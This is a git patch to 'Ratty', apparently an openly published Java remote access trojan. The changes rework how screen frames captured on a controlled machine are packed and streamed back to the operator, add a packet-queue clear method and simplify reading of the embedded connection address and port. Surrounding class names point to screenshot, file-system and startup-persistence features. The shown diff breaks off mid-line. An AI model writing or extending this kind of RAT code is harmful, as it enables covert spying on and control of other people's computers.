From 0370340395016cb49c83e72630564fe7338637cc Mon Sep 17 00:00:00 2001 From: Sogomn Date: Tue, 9 Feb 2016 17:05:43 +0100 Subject: [PATCH] Major changes Bugfixes Increased desktop streaming rate --- Ratty/src/de/sogomn/rat/ActiveClient.java | 4 + Ratty/src/de/sogomn/rat/Ratty.java | 17 ++- .../rat/packet/DesktopStreamPacket.java | 64 ++++++---- .../sogomn/rat/packet/FileSystemPacket.java | 4 +- .../src/de/sogomn/rat/packet/FreePacket.java | 3 +- .../src/de/sogomn/rat/packet/PopupPacket.java | 12 -- .../sogomn/rat/packet/ScreenshotPacket.java | 24 +--- .../sogomn/rat/server/gui/DisplayPanel.java | 18 ++- .../rat/server/gui/RattyGuiController.java | 15 ++- .../src/de/sogomn/rat/util/FrameEncoder.java | 115 ++++++++++++++---- 10 files changed, 173 insertions(+), 103 deletions(-) diff --git a/Ratty/src/de/sogomn/rat/ActiveClient.java b/Ratty/src/de/sogomn/rat/ActiveClient.java index c748efc..cd7ae92 100644 --- a/Ratty/src/de/sogomn/rat/ActiveClient.java +++ b/Ratty/src/de/sogomn/rat/ActiveClient.java @@ -119,6 +119,10 @@ public final class ActiveClient extends TCPConnection { reader.start(); } + public void clearPackets() { + packetQueue.clear(); + } + public void addPacket(final IPacket packet) { packetQueue.add(packet); } diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 06e5b40..53203b8 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -39,18 +39,15 @@ public final class Ratty { //... } - private static void readConnectionData() { + private static void readConnectionData() throws ArrayIndexOutOfBoundsException, NumberFormatException { final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME); + final String addressString = lines[0].trim(); + final String portString = lines[1].trim(); + final String clientString = lines[2].trim(); - if (lines.length >= 3) { - final String addressString = lines[0].trim(); - final String portString = lines[1].trim(); - final String clientString = lines[2].trim(); - - address = addressString; - port = Integer.parseInt(portString); - client = Boolean.parseBoolean(clientString); - } + address = addressString; + port = Integer.parseInt(portString); + client = Boolean.parseBoolean(clientString); } private static void addToStartup() { diff --git a/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java b/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java index 687f7b3..d8f9128 100644 --- a/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java @@ -1,6 +1,8 @@ package de.sogomn.rat.packet; import java.awt.image.BufferedImage; +import java.util.ArrayList; +import java.util.stream.Stream; import de.sogomn.engine.util.ImageUtils; import de.sogomn.rat.ActiveClient; @@ -9,7 +11,7 @@ import de.sogomn.rat.util.FrameEncoder.IFrame; public final class DesktopStreamPacket extends AbstractPingPongPacket { - private IFrame frame; + private IFrame[] frames; private int screenWidth, screenHeight; private byte deleteLastScreenshot; @@ -19,6 +21,9 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket { private static final byte KEEP = 0; private static final byte DELETE = 1; + private static final byte INCOMING = 1; + private static final byte END = 0; + public DesktopStreamPacket(final boolean delete) { type = REQUEST; deleteLastScreenshot = delete ? DELETE : KEEP; @@ -35,12 +40,17 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket { @Override protected void sendData(final ActiveClient client) { - final byte[] data = ImageUtils.toByteArray(frame.image, "JPG"); + Stream.of(frames).forEach(frame -> { + final byte[] data = ImageUtils.toByteArray(frame.image, "JPG"); + + client.writeByte(INCOMING); + client.writeShort((short)frame.x); + client.writeShort((short)frame.y); + client.writeInt(data.length); + client.write(data); + }); - client.writeInt(frame.x); - client.writeInt(frame.y); - client.writeInt(data.length); - client.write(data); + client.writeByte(END); client.writeInt(screenWidth); client.writeInt(screenHeight); } @@ -52,34 +62,40 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket { @Override protected void receiveData(final ActiveClient client) { - final int x = client.readInt(); - final int y = client.readInt(); - final int length = client.readInt(); - final byte[] data = new byte[length]; - - client.read(data); + final ArrayList